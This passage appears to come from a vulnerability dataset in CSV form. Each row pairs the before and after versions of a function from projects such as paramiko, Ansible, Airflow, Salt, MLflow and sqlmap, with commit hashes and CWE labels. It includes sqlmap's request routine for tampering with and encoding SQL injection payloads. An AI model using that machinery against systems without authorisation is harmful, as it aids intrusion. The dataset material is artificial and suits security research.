        elif gss_host is not None:
            # Don't canonicalize gss_host
            t.set_gss_host(gss_host, False)
        if self._log_channel is not None:
            t.set_log_channel(self._log_channel)
        if banner_timeout is not None:
            t.banner_timeout = banner_timeout
        if auth_timeout is not None:
            t.auth_timeout = auth_timeout

        if port == SSH_PORT:
            server_hostkey_name = hostname
        else:
            server_hostkey_name = ""[%s]:%d"" % (hostname, port)
        our_server_keys = None

        our_server_keys = self._system_host_keys.get(server_hostkey_name)
        if our_server_keys is None:
            our_server_keys = self._host_keys.get(server_hostkey_name)
        if our_server_keys is not None:
            keytype = our_server_keys.keys()[0]
            sec_opts = t.get_security_options()
            other_types = [x for x in sec_opts.key_types if x != keytype]
            sec_opts.key_types = [keytype] + other_types

        t.start_client(timeout=timeout)

        # If GSS-API Key Exchange is performed we are not required to check the
        # host key, because the host is authenticated via GSS-API / SSPI as
        # well as our client.
        if not self._transport.gss_kex_used:
            server_key = t.get_remote_server_key()
            if our_server_keys is None:
                # will raise exception if the key is rejected
                self._policy.missing_host_key(
                    self, server_hostkey_name, server_key
                )
            else:
                our_key = our_server_keys.get(server_key.get_name())
                if our_key != server_key:
                    if our_key is None:
                        our_key = list(our_server_keys.values())[0]
                    raise BadHostKeyException(hostname, server_key, our_key)

        if username is None:
            username = getpass.getuser()

        if key_filename is None:
            key_filenames = []
        elif isinstance(key_filename, string_types):
            key_filenames = [key_filename]
        else:
            key_filenames = key_filename

        self._auth(username, password, pkey, key_filenames, allow_agent,
                   look_for_keys, gss_auth, gss_kex, gss_deleg_creds, t.gss_host)",CWE-703,paramiko/paramiko,ad5c0d17fffd6b365a5477d2b884d3207879d8b8,"def connect(
        self,
        hostname,
        port=SSH_PORT,
        username=None,
        password=None,
        pkey=None,
        key_filename=None,
        timeout=None,
        allow_agent=True,
        look_for_keys=True,
        compress=False,
        sock=None,
        gss_auth=False,
        gss_kex=False,
        gss_deleg_creds=True,
        gss_host=None,
        banner_timeout=None,
        auth_timeout=None,
    ):
        """"""
        Connect to an SSH server and authenticate to it.  The server's host key
        is checked against the system host keys (see `load_system_host_keys`)
        and any local host keys (`load_host_keys`).  If the server's hostname
        is not found in either set of host keys, the missing host key policy
        is used (see `set_missing_host_key_policy`).  The default policy is
        to reject the key and raise an `.SSHException`.

        Authentication is attempted in the following order of priority:

            - The ``pkey`` or ``key_filename`` passed in (if any)
            - Any key we can find through an SSH agent
            - Any ""id_rsa"", ""id_dsa"" or ""id_ecdsa"" key discoverable in
              ``~/.ssh/``
            - Plain username/password auth, if a password was given

        If a private key requires a password to unlock it, and a password is
        passed in, that password will be used to attempt to unlock the key.

        :param str hostname: the server to connect to
        :param int port: the server port to connect to
        :param str username:
            the username to authenticate as (defaults to the current local
            username)
        :param str password:
            a password to use for authentication or for unlocking a private key
        :param .PKey pkey: an optional private key to use for authentication
        :param str key_filename:
            the filename, or list of filenames, of optional private key(s) to
            try for authentication
        :param float timeout:
            an optional timeout (in seconds) for the TCP connect
        :param bool allow_agent:
            set to False to disable connecting to the SSH agent
        :param bool look_for_keys:
            set to False to disable searching for discoverable private key
            files in ``~/.ssh/``
        :param bool compress: set to True to turn on compression
        :param socket sock:
            an open socket or socket-like object (such as a `.Channel`) to use
            for communication to the target host
        :param bool gss_auth:
            ``True`` if you want to use GSS-API authentication
        :param bool gss_kex:
            Perform GSS-API Key Exchange and user authentication
        :param bool gss_deleg_creds: Delegate GSS-API client credentials or not
        :param str gss_host:
            The targets name in the kerberos database. default: hostname
        :param float banner_timeout: an optional timeout (in seconds) to wait
            for the SSH banner to be presented.
        :param float auth_timeout: an optional timeout (in seconds) to wait for
            an authentication response.

        :raises:
            `.BadHostKeyException` -- if the server's host key could not be
            verified
        :raises: `.AuthenticationException` -- if authentication failed
        :raises:
            `.SSHException` -- if there was any other error connecting or
            establishing an SSH session
        :raises socket.error: if a socket error occurred while connecting

        .. versionchanged:: 1.15
            Added the ``banner_timeout``, ``gss_auth``, ``gss_kex``,
            ``gss_deleg_creds`` and ``gss_host`` arguments.
        """"""
        if not sock:
            errors = {}
            # Try multiple possible address families (e.g. IPv4 vs IPv6)
            to_try = list(self._families_and_addresses(hostname, port))
            for af, addr in to_try:
                try:
                    sock = socket.socket(af, socket.SOCK_STREAM)
                    if timeout is not None:
                        try:
                            sock.settimeout(timeout)
                        except:
                            pass
                    retry_on_signal(lambda: sock.connect(addr))
                    # Break out of the loop on success
                    break
                except socket.error as e:
                    # Raise anything that isn't a straight up connection error
                    # (such as a resolution error)
                    if e.errno not in (ECONNREFUSED, EHOSTUNREACH):
                        raise
                    # Capture anything else so we know how the run looks once
                    # iteration is complete. Retain info about which attempt
                    # this was.
                    errors[addr] = e

            # Make sure we explode usefully if no address family attempts
            # succeeded. We've no way of knowing which error is the ""right""
            # one, so we construct a hybrid exception containing all the real
            # ones, of a subclass that client code should still be watching for
            # (socket.error)
            if len(errors) == len(to_try):
                raise NoValidConnectionsError(errors)

        t = self._transport = Transport(
            sock, gss_kex=gss_kex, gss_deleg_creds=gss_deleg_creds)
        t.use_compression(compress=compress)
        if gss_kex and gss_host is None:
            t.set_gss_host(hostname)
        elif gss_kex and gss_host is not None:
            t.set_gss_host(gss_host)
        else:
            pass
        if self._log_channel is not None:
            t.set_log_channel(self._log_channel)
        if banner_timeout is not None:
            t.banner_timeout = banner_timeout
        if auth_timeout is not None:
            t.auth_timeout = auth_timeout

        if port == SSH_PORT:
            server_hostkey_name = hostname
        else:
            server_hostkey_name = ""[%s]:%d"" % (hostname, port)
        our_server_keys = None

        our_server_keys = self._system_host_keys.get(server_hostkey_name)
        if our_server_keys is None:
            our_server_keys = self._host_keys.get(server_hostkey_name)
        if our_server_keys is not None:
            keytype = our_server_keys.keys()[0]
            sec_opts = t.get_security_options()
            other_types = [x for x in sec_opts.key_types if x != keytype]
            sec_opts.key_types = [keytype] + other_types

        t.start_client(timeout=timeout)

        # If GSS-API Key Exchange is performed we are not required to check the
        # host key, because the host is authenticated via GSS-API / SSPI as
        # well as our client.
        if not self._transport.gss_kex_used:
            server_key = t.get_remote_server_key()
            if our_server_keys is None:
                # will raise exception if the key is rejected
                self._policy.missing_host_key(
                    self, server_hostkey_name, server_key
                )
            else:
                our_key = our_server_keys.get(server_key.get_name())
                if our_key != server_key:
                    if our_key is None:
                        our_key = list(our_server_keys.values())[0]
                    raise BadHostKeyException(hostname, server_key, our_key)

        if username is None:
            username = getpass.getuser()

        if key_filename is None:
            key_filenames = []
        elif isinstance(key_filename, string_types):
            key_filenames = [key_filename]
        else:
            key_filenames = key_filename
        if gss_host is None:
            gss_host = hostname
        self._auth(username, password, pkey, key_filenames, allow_agent,
                   look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)"
,UNKNOWN,UNKNOWN,test/units/config/test_manager.py,1,"def test_entry_as_vault_var(self):
        class MockVault:

            def decrypt(self, value, filename=None, obj=None):
                return value

        vault_var = AnsibleVaultEncryptedUnicode(b""vault text"")
        vault_var.vault = MockVault()

        actual_value, actual_origin = self.manager._loop_entries({'name': vault_var}, [{'name': 'name'}])
        assert actual_value == ""vault text""
        assert actual_origin == ""name""",CWE-703,ansible/ansible,f8ef34672b961a95ec7282643679492862c688ec,"def test_entry_as_vault_var(self):
        class MockVault:

            def decrypt(self, value):
                return value

        vault_var = AnsibleVaultEncryptedUnicode(b""vault text"")
        vault_var.vault = MockVault()

        actual_value, actual_origin = self.manager._loop_entries({'name': vault_var}, [{'name': 'name'}])
        assert actual_value == ""vault text""
        assert actual_origin == ""name"""
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def singleTimeLogMessage(message, level=logging.INFO, flag=None):
    if flag is None:
        flag = hash(message)

    if not conf.smokeTest and flag not in kb.singleLogFlags:
        kb.singleLogFlags.add(flag)
        logger.log(level, message)",,sqlmapproject/sqlmap,4e938ea4fd3fee8e3e13f20f8f2db17aa571a19e,"def singleTimeLogMessage(message, level=logging.INFO, flag=None):
    if flag is None:
        flag = hash(message)

    if not conf.smokeTest and flag not in kb.singleLogFlags:
        kb.singleLogFlags.add(flag)
        logger.log(level, message)"
,UNKNOWN,UNKNOWN,tests/serialization/test_dag_serialization.py,1,"def validate_deserialized_task(
        self,
        serialized_task,
        task,
    ):
        """"""Verify non-airflow operators are casted to BaseOperator.""""""
        assert isinstance(serialized_task, SerializedBaseOperator)
        assert not isinstance(task, SerializedBaseOperator)
        assert isinstance(task, BaseOperator)

        fields_to_check = task.get_serialized_fields() - {
            # Checked separately
            '_task_type',
            'subdag',
            # Type is excluded, so don't check it
            '_log',
            # List vs tuple. Check separately
            'template_ext',
            'template_fields',
            # We store the string, real dag has the actual code
            'on_failure_callback',
            'on_success_callback',
            'on_retry_callback',
            # Checked separately
            'resources',
            'params',
        }

        assert serialized_task.task_type == task.task_type

        assert set(serialized_task.template_ext) == set(task.template_ext)
        assert set(serialized_task.template_fields) == set(task.template_fields)

        assert serialized_task.upstream_task_ids == task.upstream_task_ids
        assert serialized_task.downstream_task_ids == task.downstream_task_ids

        for field in fields_to_check:
            assert getattr(serialized_task, field) == getattr(
                task, field
            ), f'{task.dag.dag_id}.{task.task_id}.{field} does not match'

        if serialized_task.resources is None:
            assert task.resources is None or task.resources == []
        else:
            assert serialized_task.resources == task.resources

        # Ugly hack as some operators override params var in their init
        if isinstance(task.params, ParamsDict):
            assert serialized_task.params.dump() == task.params.dump()

        # Check that for Deserialized task, task.subdag is None for all other Operators
        # except for the SubDagOperator where task.subdag is an instance of DAG object
        if task.task_type == ""SubDagOperator"":
            assert serialized_task.subdag is not None
            assert isinstance(serialized_task.subdag, DAG)
        else:
            assert serialized_task.subdag is None",CWE-703,apache/airflow,a3266ba2b9c0d6d8b669178f3ce8752bef92924f,"def validate_deserialized_task(
        self,
        serialized_task,
        task,
    ):
        """"""Verify non-airflow operators are casted to BaseOperator.""""""
        assert isinstance(serialized_task, SerializedBaseOperator)
        assert not isinstance(task, SerializedBaseOperator)
        assert isinstance(task, BaseOperator)

        fields_to_check = task.get_serialized_fields() - {
            # Checked separately
            '_task_type',
            'subdag',
            # Type is excluded, so don't check it
            '_log',
            # List vs tuple. Check separately
            'template_ext',
            'template_fields',
            # We store the string, real dag has the actual code
            'on_failure_callback',
            'on_success_callback',
            'on_retry_callback',
            # Checked separately
            'resources',
            'params',
        }

        assert serialized_task.task_type == task.task_type

        assert set(serialized_task.template_ext) == set(task.template_ext)
        assert set(serialized_task.template_fields) == set(task.template_fields)

        assert serialized_task.upstream_task_ids == task.upstream_task_ids
        assert serialized_task.downstream_task_ids == task.downstream_task_ids

        for field in fields_to_check:
            assert getattr(serialized_task, field) == getattr(
                task, field
            ), f'{task.dag.dag_id}.{task.task_id}.{field} does not match'

        if serialized_task.resources is None:
            assert task.resources is None or task.resources == []
        else:
            assert serialized_task.resources == task.resources

        # Ugly hack as some operators override params var in their init
        if isinstance(task.params, ParamsDict):
            assert serialized_task.params.dump() == task.params.dump()

        # Check that for Deserialised task, task.subdag is None for all other Operators
        # except for the SubDagOperator where task.subdag is an instance of DAG object
        if task.task_type == ""SubDagOperator"":
            assert serialized_task.subdag is not None
            assert isinstance(serialized_task.subdag, DAG)
        else:
            assert serialized_task.subdag is None"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/cmd.py,0,"def run(name,
        onlyif=None,
        unless=None,
        cwd=None,
        user=None,
        group=None,
        shell=None,
        env=(),
        stateful=False,
        umask=None,
        **kwargs):
    '''
    Run a command if certain circumstances are met

    name
        The command to execute, remember that the command will execute with the
        path and permissions of the salt-minion.

    onlyif
        A command to run as a check, run the named command only if the command
        passed to the ``onlyif`` option returns true

    unless
        A command to run as a check, only run the named command if the command
        passed to the ``unless`` option returns false

    cwd
        The current working directory to execute the command in, defaults to
        /root

    user
        The user name to run the command as

    group
        The group context to run the command as

    shell
        The shell to use for execution, defaults to the shell grain

    env
        The root directory of the environment for the referencing script. The
        environments are defined in the master config file.

    umask
         The umask (in octal) to use when running the command.

    stateful
        The command being executed is expected to return data about executing
        a state
    '''
    ret = {'name': name,
           'changes': {},
           'result': False,
           'comment': ''}

    if cwd and not os.path.isdir(cwd):
        ret['comment'] = 'Desired working directory is not available'
        return ret

    if env:
        _env = {}
        for var in env.split():
            try:
                key, val = var.split('=')
                _env[key] = val
            except ValueError:
                ret['comment'] = 'Invalid enviromental var: ""{0}""'.format(var)
                return ret
        env = _env

    if HAS_GRP:
        pgid = os.getegid()

    cmd_kwargs = {'cwd': cwd,
                  'runas': user,
                  'shell': shell or __grains__['shell'],
                  'env': env,
                  'umask': umask}

    try:
        cret = _run_check(cmd_kwargs, onlyif, unless, cwd, user, group, shell)
        if isinstance(cret, dict):
            ret.update(cret)
            return ret

        # Wow, we passed the test, run this sucker!
        if not __opts__['test']:
            try:
                cmd_all = __salt__['cmd.run_all'](name, **cmd_kwargs)
            except CommandExecutionError as err:
                ret['comment'] = str(err)
                return ret

            ret['changes'] = cmd_all
            ret['result'] = not bool(cmd_all['retcode'])
            ret['comment'] = 'Command ""{0}"" run'.format(name)
            return _reinterpreted_state(ret) if stateful else ret
        ret['result'] = None
        ret['comment'] = 'Command ""{0}"" would have been executed'.format(name)
        return _reinterpreted_state(ret) if stateful else ret

    finally:
        if HAS_GRP:
            os.setegid(pgid)",,saltstack/salt,6f77aec048792da99d8a270305664949221e45cf,"def run(name,
        onlyif=None,
        unless=None,
        cwd=None,
        user=None,
        group=None,
        shell=None,
        env=(),
        stateful=False,
        umask=None,
        **kwargs):
    '''
    Run a command if certain circumstances are met

    name
        The command to execute, remember that the command will execute with the
        path and permissions of the salt-minion.

    onlyif
        A command to run as a check, run the named command only if the command
        passed to the ``onlyif`` option returns true

    unless
        A command to run as a check, only run the named command if the command
        passed to the ``unless`` option returns false

    cwd
        The current working directory to execute the command in, defaults to
        /root

    user
        The user name to run the command as

    group
        The group context to run the command as

    shell
        The shell to use for execution, defaults to the shell grain

    env
        The root directory of the environment for the referencing script. The
        environments are defined in the master config file.

    umask
         The umask (in octal) to use when running the command.

    stateful
        The command being executed is expected to return data about executing
        a state
    '''
    ret = {'name': name,
           'changes': {},
           'result': False,
           'comment': ''}

    if cwd and not os.path.isdir(cwd):
        ret['comment'] = 'Desired working directory is not available'
        return ret

    if env:
        _env = {}
        for var in env.split():
            try:
                key, val = var.split('=')
                _env[key] = val
            except ValueError:
                ret['comment'] = 'Invalid enviromental var: ""{0}""'.format(var)
                return ret
        env = _env

    pgid = os.getegid()

    cmd_kwargs = {'cwd': cwd,
                  'runas': user,
                  'shell': shell or __grains__['shell'],
                  'env': env,
                  'umask': umask}

    try:
        cret = _run_check(cmd_kwargs, onlyif, unless, cwd, user, group, shell)
        if isinstance(cret, dict):
            ret.update(cret)
            return ret

        # Wow, we passed the test, run this sucker!
        if not __opts__['test']:
            try:
                cmd_all = __salt__['cmd.run_all'](name, **cmd_kwargs)
            except CommandExecutionError as err:
                ret['comment'] = str(err)
                return ret

            ret['changes'] = cmd_all
            ret['result'] = not bool(cmd_all['retcode'])
            ret['comment'] = 'Command ""{0}"" run'.format(name)
            return _reinterpreted_state(ret) if stateful else ret
        ret['result'] = None
        ret['comment'] = 'Command ""{0}"" would have been executed'.format(name)
        return _reinterpreted_state(ret) if stateful else ret

    finally:
        os.setegid(pgid)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/artifact/ftp_artifact_repo.py,0,"def log_artifacts(self, local_dir, artifact_path=None):
        dest_path = posixpath.join(self.path, artifact_path) \
            if artifact_path else self.path

        local_dir = os.path.abspath(local_dir)
        for (root, _, filenames) in os.walk(local_dir):
            upload_path = dest_path
            if root != local_dir:
                rel_path = os.path.relpath(root, local_dir)
                upload_path = relative_path_to_artifact_path(rel_path)
            if not filenames:
                with self.get_ftp_client() as ftp:
                    self._mkdir(ftp, posixpath.join(self.path, upload_path))
            for f in filenames:
                if os.path.isfile(os.path.join(root, f)):
                    self.log_artifact(os.path.join(root, f), upload_path)",,mlflow/mlflow,ea41b4d59d25ae7c1a10708805cf7213f671fd5b,"def log_artifacts(self, local_dir, artifact_path=None):
        dest_path = posixpath.join(self.path, artifact_path) \
            if artifact_path else self.path

        dest_path = posixpath.join(
            dest_path, os.path.split(local_dir)[1])
        dest_path_re = os.path.split(local_dir)[1]
        if artifact_path:
            dest_path_re = posixpath.join(
                artifact_path, os.path.split(local_dir)[1])

        local_dir = os.path.abspath(local_dir)
        for (root, _, filenames) in os.walk(local_dir):
            upload_path = dest_path
            if root != local_dir:
                rel_path = os.path.relpath(root, local_dir)
                rel_path = relative_path_to_artifact_path(rel_path)
                upload_path = posixpath.join(dest_path_re, rel_path)
            if not filenames:
                with self.get_ftp_client() as ftp:
                    self._mkdir(ftp, posixpath.join(self.path, upload_path))
            for f in filenames:
                if os.path.isfile(os.path.join(root, f)):
                    self.log_artifact(os.path.join(root, f), upload_path)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/sts_session_token.py,0,"def normalize_credentials(credentials):
    access_key = credentials.get('AccessKeyId', None)
    secret_key = credentials.get('SecretAccessKey', None)
    session_token = credentials.get('SessionToken', None)
    expiration = credentials.get('Expiration', None)
    return {
        'access_key': access_key,
        'secret_key': secret_key,
        'session_token': session_token,
        'expiration': expiration
    }",,ansible/ansible,c57a7f05e1b37084110d2b1bc219b40fc9023ffa,"def normalize_credentials(credentials):
    access_key = credentials.get('AccessKeyId', None)
    secret_key = credentials.get('SecretAccessKey', None)
    session_token = credentials.get('SessionToken', None)
    expiration = credentials.get('Expiration', None)
    return {
        'access_key': access_key,
        'secret_key': secret_key,
        'session_token': session_token,
        'expiration': expiration
    }"
,UNKNOWN,UNKNOWN,providers/fab/tests/unit/fab/auth_manager/api_endpoints/test_user_endpoint.py,1,"def test_should_respond_200(self):
        users = self._create_users(1)
        self.session.add_all(users)
        self.session.commit()
        response = self.client.get(""/fab/v1/users/TEST_USER1"", environ_overrides={""REMOTE_USER"": ""test""})
        assert response.status_code == 200
        assert response.json == {
            ""active"": True,
            ""changed_on"": DEFAULT_TIME,
            ""created_on"": DEFAULT_TIME,
            ""email"": ""mytest@test1.org"",
            ""fail_login_count"": None,
            ""first_name"": ""test1"",
            ""last_login"": None,
            ""last_name"": ""test1"",
            ""login_count"": None,
            ""roles"": [],
            ""username"": ""TEST_USER1"",
        }",CWE-703,apache/airflow,96c0df667395c4299a9d998b72ddd7948a74a879,"def test_should_respond_200(self):
        users = self._create_users(1)
        self.session.add_all(users)
        self.session.commit()
        response = self.client.get(""/auth/fab/v1/users/TEST_USER1"", environ_overrides={""REMOTE_USER"": ""test""})
        assert response.status_code == 200
        assert response.json == {
            ""active"": True,
            ""changed_on"": DEFAULT_TIME,
            ""created_on"": DEFAULT_TIME,
            ""email"": ""mytest@test1.org"",
            ""fail_login_count"": None,
            ""first_name"": ""test1"",
            ""last_login"": None,
            ""last_name"": ""test1"",
            ""login_count"": None,
            ""roles"": [],
            ""username"": ""TEST_USER1"",
        }"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/api/common/experimental/trigger_dag.py,0,"def _trigger_dag(
        dag_id: str,
        dag_bag: DagBag,
        dag_run: DagModel,
        run_id: Optional[str],
        conf: Optional[Union[dict, str]],
        execution_date: Optional[datetime],
        replace_microseconds: bool,
) -> List[DagRun]:  # pylint: disable=too-many-arguments
    """"""Triggers DAG run.

    :param dag_id: DAG ID
    :param dag_bag: DAG Bag model
    :param dag_run: DAG Run model
    :param run_id: ID of the dag_run
    :param conf: configuration
    :param execution_date: date of execution
    :param replace_microseconds: whether microseconds should be zeroed
    :return: list of triggered dags
    """"""
    dag = dag_bag.get_dag(dag_id)  # prefetch dag if it is stored serialized

    if dag_id not in dag_bag.dags:
        raise DagNotFound(""Dag id {} not found"".format(dag_id))

    execution_date = execution_date if execution_date else timezone.utcnow()

    if not timezone.is_localized(execution_date):
        raise ValueError(""The execution_date should be localized"")

    if replace_microseconds:
        execution_date = execution_date.replace(microsecond=0)

    if dag.default_args and 'start_date' in dag.default_args:
        min_dag_start_date = dag.default_args[""start_date""]
        if min_dag_start_date and execution_date < min_dag_start_date:
            raise ValueError(
                ""The execution_date [{0}] should be >= start_date [{1}] from DAG's default_args"".format(
                    execution_date.isoformat(),
                    min_dag_start_date.isoformat()))

    run_id = run_id or DagRun.generate_run_id(DagRunType.MANUAL, execution_date)
    dag_run = dag_run.find(dag_id=dag_id, run_id=run_id)

    if dag_run:
        raise DagRunAlreadyExists(
            f""Run id {dag_run.run_id} already exists for dag id {dag_id}""
        )

    run_conf = None
    if conf:
        run_conf = conf if isinstance(conf, dict) else json.loads(conf)

    triggers = []
    dags_to_trigger = [dag] + dag.subdags
    for _dag in dags_to_trigger:
        trigger = _dag.create_dagrun(
            run_id=run_id,
            execution_date=execution_date,
            state=State.RUNNING,
            conf=run_conf,
            external_trigger=True,
        )

        triggers.append(trigger)
    return triggers",CWE-Unknown,apache/airflow,16e06f802b30ce7c3972b1a8165e3d6327dee761,"def _trigger_dag(
        dag_id: str,
        dag_bag: DagBag,
        dag_run: DagModel,
        run_id: Optional[str],
        conf: Optional[Union[dict, str]],
        execution_date: Optional[datetime],
        replace_microseconds: bool,
) -> List[DagRun]:  # pylint: disable=too-many-arguments
    """"""Triggers DAG run.

    :param dag_id: DAG ID
    :param dag_bag: DAG Bag model
    :param dag_run: DAG Run model
    :param run_id: ID of the dag_run
    :param conf: configuration
    :param execution_date: date of execution
    :param replace_microseconds: whether microseconds should be zeroed
    :return: list of triggered dags
    """"""
    dag = dag_bag.get_dag(dag_id)  # prefetch dag if it is stored serialized

    if dag_id not in dag_bag.dags:
        raise DagNotFound(""Dag id {} not found"".format(dag_id))

    execution_date = execution_date if execution_date else timezone.utcnow()

    if not timezone.is_localized(execution_date):
        raise ValueError(""The execution_date should be localized"")

    if replace_microseconds:
        execution_date = execution_date.replace(microsecond=0)

    if dag.default_args and 'start_date' in dag.default_args:
        min_dag_start_date = dag.default_args[""start_date""]
        if min_dag_start_date and execution_date < min_dag_start_date:
            raise ValueError(
                ""The execution_date [{0}] should be >= start_date [{1}] from DAG's default_args"".format(
                    execution_date.isoformat(),
                    min_dag_start_date.isoformat()))

    run_id = run_id or DagRun.generate_run_id(DagRunType.MANUAL, execution_date)
    dag_run = dag_run.find(dag_id=dag_id, run_id=run_id)

    if dag_run:
        raise DagRunAlreadyExists(
            f""Run id {dag_run.run_id} already exists for dag id {dag_id}""
        )

    run_conf = None
    if conf:
        run_conf = conf if isinstance(conf, dict) else json.loads(conf)

    triggers = []
    dags_to_trigger = [dag]
    while dags_to_trigger:
        dag = dags_to_trigger.pop()
        trigger = dag.create_dagrun(
            run_id=run_id,
            execution_date=execution_date,
            state=State.RUNNING,
            conf=run_conf,
            external_trigger=True,
        )

        triggers.append(trigger)
        if dag.subdags:
            dags_to_trigger.extend(dag.subdags)
    return triggers"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
        """"""
        This method calls a function to get the target URL page content
        and returns its page ratio (0 <= ratio <= 1) or a boolean value
        representing False/True match in case of !getRatioValue
        """"""

        if conf.direct:
            return direct(value, content)

        get = None
        post = None
        cookie = None
        ua = None
        referer = None
        host = None
        page = None
        pageLength = None
        uri = None
        code = None

        if not place:
            place = kb.injection.place or PLACE.GET

        kb.place = place

        if not auxHeaders:
            auxHeaders = {}

        raise404 = place != PLACE.URI if raise404 is None else raise404
        method = method or conf.method

        postUrlEncode = kb.postUrlEncode

        value = agent.adjustLateValues(value)
        payload = agent.extractPayload(value)
        threadData = getCurrentThreadData()

        if conf.httpHeaders:
            headers = OrderedDict(conf.httpHeaders)
            contentType = max(headers[_] or """" if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else """" for _ in headers) or None

            if (kb.postHint or conf.skipUrlEncode) and postUrlEncode:
                postUrlEncode = False
                conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType]
                contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE)
                conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))

        if payload:
            delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)

            if not disableTampering and kb.tamperFunctions:
                for function in kb.tamperFunctions:
                    hints = {}

                    try:
                        payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints)
                    except Exception as ex:
                        errMsg = ""error occurred while running tamper ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)

                    if not isinstance(payload, six.string_types):
                        errMsg = ""tamper function '%s' returns "" % function.__name__
                        errMsg += ""invalid payload type ('%s')"" % type(payload)
                        raise SqlmapValueException(errMsg)

                value = agent.replacePayload(value, payload)

                if hints:
                    if HINT.APPEND in hints:
                        value = ""%s%s%s"" % (value, delimiter, hints[HINT.APPEND])

                    if HINT.PREPEND in hints:
                        if place == PLACE.URI:
                            match = re.search(r""\w+\s*=\s*%s"" % PAYLOAD_DELIMITER, value) or re.search(r""[^?%s/]=\s*%s"" % (re.escape(delimiter), PAYLOAD_DELIMITER), value)
                            if match:
                                value = value.replace(match.group(0), ""%s%s%s"" % (hints[HINT.PREPEND], delimiter, match.group(0)))
                        else:
                            value = ""%s%s%s"" % (hints[HINT.PREPEND], delimiter, value)

            logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\'))

            if place == PLACE.CUSTOM_POST and kb.postHint:
                if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                    # payloads in SOAP/XML should have chars > and < replaced
                    # with their HTML encoded counterparts
                    payload = payload.replace('&', ""&amp;"").replace('>', ""&gt;"").replace('<', ""&lt;"").replace('""', ""&quot;"").replace(""'"", ""&apos;"")  # Reference: https://stackoverflow.com/a/1091953
                elif kb.postHint == POST_HINT.JSON:
                    payload = escapeJsonValue(payload)
                elif kb.postHint == POST_HINT.JSON_LIKE:
                    payload = payload.replace(""'"", REPLACEMENT_MARKER).replace('""', ""'"").replace(REPLACEMENT_MARKER, '""')
                    payload = escapeJsonValue(payload)
                    payload = payload.replace(""'"", REPLACEMENT_MARKER).replace('""', ""'"").replace(REPLACEMENT_MARKER, '""')
                value = agent.replacePayload(value, payload)
            else:
                # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
                    skip = False

                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper():
                        if kb.choices.cookieEncode is None:
                            msg = ""do you want to URL encode cookie values (implementation specific)? %s"" % (""[Y/n]"" if not conf.url.endswith("".aspx"") else ""[y/N]"")  # Reference: https://support.microsoft.com/en-us/kb/313282
                            kb.choices.cookieEncode = readInput(msg, default='Y' if not conf.url.endswith("".aspx"") else 'N', boolean=True)
                        if not kb.choices.cookieEncode:
                            skip = True

                    if not skip:
                        if place in (PLACE.POST, PLACE.CUSTOM_POST):  # potential problems in other cases (e.g. URL encoding of whole URI - including path)
                            value = urlencode(value, spaceplus=kb.postSpaceToPlus)
                        payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus)
                        value = agent.replacePayload(value, payload)
                        postUrlEncode = False

            if conf.hpp:
                if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_PLATFORM.ASP, WEB_PLATFORM.ASPX)):
                    warnMsg = ""HTTP parameter pollution should work only against ""
                    warnMsg += ""ASP(.NET) targets""
                    singleTimeWarnMessage(warnMsg)
                if place in (PLACE.GET, PLACE.POST):
                    _ = re.escape(PAYLOAD_DELIMITER)
                    match = re.search(r""(?P<name>\w+)=%s(?P<value>.+?)%s"" % (_, _), value)
                    if match:
                        payload = match.group(""value"")

                        for splitter in (urlencode(' '), ' '):
                            if splitter in payload:
                                prefix, suffix = (""*/"", ""/*"") if splitter == ' ' else (urlencode(_) for _ in (""*/"", ""/*""))
                                parts = payload.split(splitter)
                                parts[0] = ""%s%s"" % (parts[0], suffix)
                                parts[-1] = ""%s%s=%s%s"" % (DEFAULT_GET_POST_DELIMITER, match.group(""name""), prefix, parts[-1])
                                for i in xrange(1, len(parts) - 1):
                                    parts[i] = ""%s%s=%s%s%s"" % (DEFAULT_GET_POST_DELIMITER, match.group(""name""), prefix, parts[i], suffix)
                                payload = """".join(parts)

                        for splitter in (urlencode(','), ','):
                            payload = payload.replace(splitter, ""%s%s="" % (DEFAULT_GET_POST_DELIMITER, match.group(""name"")))

                        value = agent.replacePayload(value, payload)
                else:
                    warnMsg = ""HTTP parameter pollution works only with regular ""
                    warnMsg += ""GET and POST parameters""
                    singleTimeWarnMessage(warnMsg)

        if place:
            value = agent.removePayloadDelimiters(value)

        if PLACE.GET in conf.parameters:
            get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
        elif place == PLACE.GET:  # Note: for (e.g.) checkWaf() when there are no GET parameters
            get = value

        if PLACE.POST in conf.parameters:
            post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value
        elif place == PLACE.POST:
            post = value

